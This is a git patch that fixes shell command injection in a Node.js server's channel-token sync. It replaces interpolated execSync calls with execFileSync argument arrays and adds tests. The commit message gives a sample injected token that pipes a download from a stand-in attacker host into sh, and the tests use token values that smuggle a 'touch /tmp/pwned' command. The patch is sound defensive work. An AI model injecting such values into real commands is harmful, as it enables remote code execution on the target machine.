From db2c4f4ca129c2fede2d02f372d1b93021b59f64 Mon Sep 17 00:00:00 2001 From: jay79-boop Date: Mon, 3 Aug 2026 05:05:14 -0500 Subject: [PATCH] Fix shell command injection in channel token sync syncChannelConfig() built its `openclaw channels add`/`remove` commands as interpolated shell strings and ran them with execSync(), which executes via `/bin/sh -c`: execSync(`openclaw channels add --channel ${ch} --token "${token}"`, ...) execSync(`openclaw channels add --channel slack --bot-token "${token}" --app-token "${appToken}"`, ...) `token`/`appToken` come from saved env var values (channel bot tokens), wrapped in double quotes but never escaped. A value containing `"`, `$`, or a backtick breaks out of the quoted argument and lets the rest of the string run as additional shell commands -- e.g. a token of `abc" ; curl attacker.example | sh ; echo "` becomes a second, attacker-chosen command executed by the same process. This function runs both from the authenticated PUT /api/env handler (routes/system.js) and unconditionally at server startup reading straight from the .env file on disk (startup.js), so it's reachable by whatever produced the token value in .env, not only by someone directly typing into the Envars UI (e.g. onboarding's config-import flow can seed .env from an external source). The rest of this codebase already handles this correctly elsewhere -- agents/channels.js escapes every token via shellEscapeArg() before building its clawCmd() strings. This one code path never got the same treatment. Fixed by switching to execFileSync() with the token/appToken passed as separate argv entries, which never goes through a shell at all (same approach already used correctly in routes/browse/git.js), rather than trying to get manual shell-quoting right. Added tests/server/gateway.test.js coverage proving a token containing shell metacharacters is passed through as a single, literal argv element for both the generic (--token) and Slack (--bot-token/--app-token) code paths. --- lib/server/gateway.js | 39 ++++++++++++------- tests/server/gateway.test.js | 72 ++++++++++++++++++++++++++++++++++++ 2 files changed, 98 insertions(+), 13 deletions(-) diff --git a/lib/server/gateway.js b/lib/server/gateway.js index c2262415..0b2bf777 100644 --- a/lib/server/gateway.js +++ b/lib/server/gateway.js @@ -1,5 +1,5 @@ const path = require("path"); -const { spawn, execSync } = require("child_process"); +const { spawn, execSync, execFileSync } = require("child_process"); const fs = require("fs"); const net = require("net"); const { @@ -709,8 +709,21 @@ const syncChannelConfig = (savedVars, mode = "all") => { if (ch === "slack") { const appToken = savedMap[def.extraEnvKeys?.[0]]; if (!appToken) continue; - execSync( - `openclaw channels add --channel slack --bot-token "${token}" --app-token "${appToken}"`, + // execFileSync passes token/appToken as argv entries, never through a + // shell, so a value containing `"`, `$`, or backticks can't break out + // of the command (unlike the old execSync + string-interpolation form). + execFileSync( + "openclaw", + [ + "channels", + "add", + "--channel", + "slack", + "--bot-token", + token, + "--app-token", + appToken, + ], { env, timeout: 15000, encoding: "utf8" }, ); let raw = fs.readFileSync(configPath, "utf8"); @@ -722,11 +735,11 @@ const syncChannelConfig = (savedVars, mode = "all") => { } fs.writeFileSync(configPath, raw); } else { - execSync(`openclaw channels add --channel ${ch} --token "${token}"`, { - env, - timeout: 15000, - encoding: "utf8", - }); + execFileSync( + "openclaw", + ["channels", "add", "--channel", ch, "--token", token], + { env, timeout: 15000, encoding: "utf8" }, + ); const raw = fs.readFileSync(configPath, "utf8"); if (raw.includes(token)) { fs.writeFileSync( @@ -748,11 +761,11 @@ const syncChannelConfig = (savedVars, mode = "all") => { ) { console.log(`[alphaclaw] Removing channel: ${ch}`); try { - execSync(`openclaw channels remove --channel ${ch} --delete`, { - env, - timeout: 15000, - encoding: "utf8", - }); + execFileSync( + "openclaw", + ["channels", "remove", "--channel", ch, "--delete"], + { env, timeout: 15000, encoding: "utf8" }, + ); console.log(`[alphaclaw] Channel ${ch} removed`); } catch (e) { console.error( diff --git a/tests/server/gateway.test.js b/tests/server/gateway.test.js index bc42b6d4..7d68dafc 100644 --- a/tests/server/gateway.test.js +++ b/tests/server/gateway.test.js @@ -17,6 +17,7 @@ const kAlphaclawConfigPath = path.join(OPENCLAW_DIR, "alphaclaw.json"); const modulePath = require.resolve("../../lib/server/gateway"); const originalSpawn = childProcess.spawn; const originalExecSync = childProcess.execSync; +const originalExecFileSync = childProcess.execFileSync; const originalExistsSync = fs.existsSync; const originalMkdirSync = fs.mkdirSync; const originalReaddirSync = fs.readdirSync; @@ -57,6 +58,7 @@ describe("server/gateway restart behavior", () => { afterEach(() => { childProcess.spawn = originalSpawn; childProcess.execSync = originalExecSync; + childProcess.execFileSync = originalExecFileSync; fs.existsSync = originalExistsSync; fs.mkdirSync = originalMkdirSync; fs.readdirSync = originalReaddirSync; @@ -1275,4 +1277,74 @@ describe("server/gateway restart behavior", () => { } } }); + + it("passes a channel bot token containing shell metacharacters as a single argv entry, never through a shell", () => { + const maliciousToken = '123:ABC" ; touch /tmp/pwned ; echo "'; + const execFileSyncMock = vi.fn(() => ""); + childProcess.execFileSync = execFileSyncMock; + fs.readFileSync = vi.fn((targetPath, ...args) => { + if (String(targetPath) === `${OPENCLAW_DIR}/openclaw.json`) { + return JSON.stringify({ channels: {} }); + } + return originalReadFileSync(targetPath, ...args); + }); + fs.writeFileSync = vi.fn(); + delete require.cache[modulePath]; + const gateway = require(modulePath); + + gateway.syncChannelConfig( + [{ key: "TELEGRAM_BOT_TOKEN", value: maliciousToken }], + "add", + ); + + expect(execFileSyncMock).toHaveBeenCalledTimes(1); + const [command, args] = execFileSyncMock.mock.calls[0]; + expect(command).toBe("openclaw"); + expect(args).toEqual([ + "channels", + "add", + "--channel", + "telegram", + "--token", + maliciousToken, + ]); + }); + + it("passes slack bot/app tokens as separate argv entries, never concatenated into a shell string", () => { + const maliciousBotToken = 'xoxb-1" ; touch /tmp/pwned ; echo "'; + const maliciousAppToken = 'xapp-1" ; touch /tmp/pwned2 ; echo "'; + const execFileSyncMock = vi.fn(() => ""); + childProcess.execFileSync = execFileSyncMock; + fs.readFileSync = vi.fn((targetPath, ...args) => { + if (String(targetPath) === `${OPENCLAW_DIR}/openclaw.json`) { + return JSON.stringify({ channels: {} }); + } + return originalReadFileSync(targetPath, ...args); + }); + fs.writeFileSync = vi.fn(); + delete require.cache[modulePath]; + const gateway = require(modulePath); + + gateway.syncChannelConfig( + [ + { key: "SLACK_BOT_TOKEN", value: maliciousBotToken }, + { key: "SLACK_APP_TOKEN", value: maliciousAppToken }, + ], + "add", + ); + + expect(execFileSyncMock).toHaveBeenCalledTimes(1); + const [command, args] = execFileSyncMock.mock.calls[0]; + expect(command).toBe("openclaw"); + expect(args).toEqual([ + "channels", + "add", + "--channel", + "slack", + "--bot-token", + maliciousBotToken, + "--app-token", + maliciousAppToken, + ]); + }); });